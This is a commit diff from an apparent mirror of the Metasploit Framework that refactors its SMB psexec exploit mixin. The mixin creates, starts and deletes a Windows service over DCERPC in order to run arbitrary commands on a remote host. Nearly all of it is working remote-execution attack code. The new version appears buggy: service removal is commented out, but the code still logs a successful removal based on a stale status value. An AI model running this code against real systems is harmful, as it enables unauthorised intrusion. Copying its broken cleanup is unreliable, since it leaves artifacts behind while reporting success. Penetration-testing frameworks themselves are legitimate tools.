infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Use error codes to give more feedback

bug/bundler_fix
Meatballs 2014-03-19 14:00:23 +00:00
parent 8082c19469
commit d3992773ed
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 136 additions and 73 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

209
lib/msf/core/exploit/smb/psexec.rb
View File

@ -15,6 +15,7 @@ module Exploit::Remote::SMB::Psexec
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated
ERROR_SUCCESS = 0x0
ERROR_SERVICE_EXISTS = 0x431
NULL_HANDLE = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
@ -58,6 +59,109 @@ module Exploit::Remote::SMB::Psexec
end
end
def open_service_manager
scm_handle = nil
stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if response
scm_handle = response[0,20]
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error getting scm handle: #{e}")
end
scm_handle
end
def create_service(scm_handle, command)
svc_handle = nil
svc_status = nil
stubdata =
scm_handle + NDR.wstring(service_name) + NDR.uwstring(display_name) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
response = dcerpc.call(0x0c, stubdata)
if response
svc_handle = response[4,20]
svc_status = response[24,4].unpack('V').first
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error creating service: #{e}")
end
return svc_handle, svc_status
end
def open_service_handle(scm_handle)
svc_handle = nil
begin
stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if response
svc_handle = response[0,20]
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error opening service: #{e}")
end
svc_handle
end
def start_service(svc_handle)
svc_status = nil
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if response
svc_status = response.unpack('V').first
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error starting service: #{e}")
end
svc_status
end
def remove_service(svc_handle)
svc_status = nil
begin
response = dcerpc.call(0x02, svc_handle)
if response
svc_status = response.unpack('V').first
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error removing service: #{e}")
end
svc_status
end
def close_service_handle(svc_handle)
svc_status = nil
begin
response = dcerpc.call(0x0, svc_handle)
svc_status = response.unpack('V').first
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error closing service handle: #{e}")
end
svc_status
end
# Executes a single windows command.
#
# If you want to retrieve the output of your command you'll have to
@ -77,78 +181,41 @@ module Exploit::Remote::SMB::Psexec
dcerpc_bind(handle)
vprint_status("#{peer} - Bound to #{handle} ...")
vprint_status("#{peer} - Obtaining a service manager handle...")
scm_handle = nil
stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error getting scm handle: #{e}")
scm_handle = open_service_manager
return false unless scm_handle
vprint_status("#{peer} - Creating the service...")
svc_handle, svc_status = create_service(scm_handle, command)
return false unless svc_handle && svc_status
case svc_status
when ERROR_SUCCESS
vprint_good("#{peer} - Successfully created the service")
when ERROR_SERVICE_EXISTS
service_exists = true
vprint_warning("#{peer} - Service already exists, opening a handle...")
svc_handle = open_service_handle(scm_handle)
else
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
return false
end
svc_handle = nil
svc_status = nil
stubdata =
scm_handle + NDR.wstring(service_name) + NDR.uwstring(display_name) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
vprint_status("#{peer} - Creating the service...")
response = dcerpc.call(0x0c, stubdata)
if dcerpc.last_response && dcerpc.last_response.stub_data
svc_handle = dcerpc.last_response.stub_data[4,20]
svc_status = dcerpc.last_response.stub_data[24,4].unpack('V').first
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error creating service: #{e}")
return false
end
if svc_handle == NULL_HANDLE
if svc_status == ERROR_SERVICE_EXISTS
service_exists = true
vprint_warning("#{peer} - Service already exists, opening a handle...")
begin
stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error opening service: #{e}")
return false
end
else
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
return false
end
end
return false unless svc_handle
if svc_handle == NULL_HANDLE
print_error("#{peer} - No service handle retrieved")
return false
else
vprint_status("#{peer} - Starting the service...")
begin
vprint_status("#{peer} - Starting the service...")
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error starting service: #{e}")
return false
svc_status = start_service(svc_handle)
if svc_status == ERROR_SUCCESS
print_good("#{peer} - Service started successfully...")
else
print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
end
ensure
begin
@ -158,20 +225,16 @@ module Exploit::Remote::SMB::Psexec
vprint_warning("#{peer} - Not removing service as it already existed...")
else
vprint_status("#{peer} - Removing the service...")
stubdata = svc_handle
begin
response = dcerpc.call(0x02, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error removing service: #{e}")
#svc_status = remove_service(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("#{peer} - Successfully removed the sevice")
else
print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
end
end
ensure
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
print_error("#{peer} - Error closing service handle: #{e}")
end
close_service_handle(svc_handle)
end
end
end